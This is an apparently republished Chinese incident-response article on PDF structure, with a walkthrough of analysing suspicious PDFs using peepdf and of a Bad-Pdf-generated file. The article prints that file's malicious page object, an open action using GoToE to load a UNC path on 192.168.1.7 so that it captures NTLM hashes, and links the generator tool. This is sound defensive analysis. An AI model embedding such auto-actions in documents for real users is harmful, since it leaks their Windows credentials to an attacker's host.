huasec 04月07日 01:20
应急响应之PDF分析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入探讨了PDF文件的安全问题,从基础的文件结构入手,详细介绍了PDF文件的各个组成部分,如header、body、cross-reference table和trailer。文章重点介绍了如何利用peepdf和badpdf等工具分析和创建恶意PDF文件,这些文件可能包含JavaScript代码或利用GoToE等功能窃取敏感信息,例如NTLM Hash。通过对PDF文件结构的理解,以及对恶意PDF文件的分析,帮助读者提升对PDF文件安全风险的认知。

🧱 PDF文件由多个关键部分构成,包括header、body、cross-reference table和trailer。Header标识PDF文件的版本;body包含文本、图像等对象;cross-reference table是所有对象的引用表;而trailer则标记文件尾和相关信息。

🔍 peepdf是一个强大的PDF分析工具,可以扫描PDF文件并识别潜在的恶意元素,例如AcroForm、OpenAction、JS和JavaScript。通过peepdf,可以查看PDF文件中是否存在加密、对象流、打开动作、JavaScript代码以及启动应用程序等信息。

💻 badpdf是一个用于创建恶意PDF文件的工具,能够生成用于窃取NTLM Hash的PDF文件。恶意PDF文件可能通过GoToE功能加载远程内容,从而实现窃取hash的目的。通过分析badpdf生成的PDF文件,可以了解恶意代码的运作方式,以及如何利用PDF的特性进行攻击。

原创 花十一一 2021-08-30 09:00


01


PDF介绍


      PDF(Portable Document Format,便携式文档结构)是一种文件格式,广泛适用于办公场景下,在针对特定目标投递包含恶意代码的PDF文档,用户只要打开PDF文档就会被攻击, 在分析恶意PDF 之前,首先需要了解一些 PDF 文件结构,PDF文件结构可分为以下几块:  

1、header: 

pdf文件的第一行,格式如下

 %PDF-1.7

表示当前文件的版本是1.7

2、body: 

pdf文件中用到的所有对象,包括文本、图像、音乐、视频、字体、等等,格式如下: 

      2  0   obj   ...   end  obj

    其中省略号部分是pdf规定的对象

    3、cross-reference   table: 

    所有pdf对象的引用表,其格式如下: 

      xref 0   5 0000000000   65535  f 0000000009   00000  n 0000000074   00000  n 0000000120   00000  n 0000000179   00000  n

      其中,xref是开始标志,表示以下为引用表内容;0   5表示从对象号为0的开始, 

      连续有5个对象(0、1、2、3、4),分别用5行来表示,每行的前10个数字代表这个对象相对文件头的偏移地址,后面5个数字只有当这个对象被删除的时候才有用,表示这个对象被删除后又被重新生成后的对象号,最后一位f或n表示对象是否被使用(n表示使用,f表示被删除或没有用) 。

      4、trailer:

      说明文件尾对象开始

        trailer << /Size   8 /Root   1  0   R >> startxref 553 %%EOF

        /Size   :这个pdf中总共使用了多少个对象 

        /Root   :这个pdf文件的catalog对象的对象号,这是pdf中最顶层的对象 

        /startxref: 后面的数字表示cross-reference  table的开始位置 

        %%EOF:文件结束标志

        使用十六进制工具打开PDF文件,以0x25 0x50 0x44 0x46开头即证明是pdf文件



        02



        peedf


        下载地址:https://github.com/jesparza/peepdf

        安装peepdf后,可以使用peepdf file.pdf 命令对PDF文件进行扫描,即可获取有关该文件的信息,peepdf 会分析出用于攻击的可疑对象,如下显示PDF的AcroForm、OpenAction、JS 和 JavaScript信息,同时还指出对象11包含 JavaScript代码。

        执行python2 peepdf.py -i pdf路径,此处"-i"将提供一个交互式shell,用于对文件进行其他分析。

        peepdf 将自动显示文件中的可疑内容,字段介绍如下:

        /Encrypt指明PDF文件是否存在数字水印或者加密。

        /Objects是object streams的数量。object streams是一个可以包含其他Object对象的数据流对象。

        /OpenAction:打开文件时将执行的操作。

        /JS : 一个文本字符串,其中包含触发动作时要执行的 JavaScript 脚本。

        /JavaScript:执行 JavaScript 代码。通常恶意的PDF文件都嵌套有JavaScript代码,这里一般都是利用JavaScript的解析漏洞,当然也存在正常的PDF文件里会含有JavaScript代码

        /Launch:将启动一个应用程序或打开一个文件。

        如上图pdf中有许多包含可疑元素的对象,peedf还识别出了pdf存在漏洞

        想要查看每块内容是什么,只需在控制台中输入“object num”并按回车键,将得到如下所示的内容。例如查看JS内容,

        /S 描述了 PDF 要执行的操作类型。正如我们所见,它将执行一些 JavaScript

        另外peepdf还支持其他功能,可以执行help命令查看,例如metadata,查看pdf的元数据。



        03



        badpdf


        下载地址:https://github.com/deepzec/Bad-Pdf

        使用badpdf创建的恶意PDF文件可以从windows机器窃取NTLM Hash.

        执行命令后会生成一个名为badpdf.pdf的文件,在 Windows 机器上运行生成的badpdf.pdf文件成功获取 NTLM Hash

        badpdf.pdf有781字节 , 3个object,不存在加密情况

        /Type /Catalog说明该对象的类型为/Catalog,/Pages 2 0 R这里/Pages指的是这个根对象包含的/Pages的目标是对象号为2的对象,2 0 R的意思是对对象2的引用。

        /Type /Pages 说明对象的类型为页码,/Count 1说明页码数量为1

        /Parent 2 0 R说明其父对象的对象号为2,及Pages对象,/Resources << >>说明该页所要包含的资源,/MediaBox [0 0 612 792]说明页面的显示大小(以像素为单位)

        通过bytes命令可以查看pdf的字节内容,如下bytes 0 781可以看到整个pdf的字节内容。

        发现恶意代码块,分析如下

          3 0 obj<< /Type /Page   /Contents 4 0 R
          /AA << /O << /F (\\\\192.168.1.7\\test) /D [ 0 /Fit] /S /GoToE >>
          >>
          /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> >> >>>>endobj

          /Contents 4 0 R表示页面内容对象的对象号为4

          /Parent 2 0 R表示父对象是2

          /AA 表示一个附加的动作,查看pdf时候产生动作执行

          /F 表示要打开的文件路径

          /S /GoToE表示转到某个嵌入文件,PDF规范允许为GoToE&GoToR条目加载远程内容

          /D [ 0 /Fit]表示跳转页Destinations,Destinations定义文档的特定视图,是一个数组对象,[0 /Fit]即显示指定的第0个页面,整个页面缩放到适合窗口水平和垂直长度。如果所需的水平和垂直缩放的倍数不同时,选择两者中较小的一个倍数。简单理解就是显示窗口能显示下整个页面。

          恶意代码通过GoToE加载192.168.1.7\\test的内容实现窃取hash。

          阅读原文

          跳转微信打开

          Fish AI Reader

          Fish AI Reader

          AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

          FishAI

          FishAI

          鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

          联系邮箱 441953276@qq.com

          相关标签

          PDF 安全分析 恶意代码 peepdf badpdf
          相关文章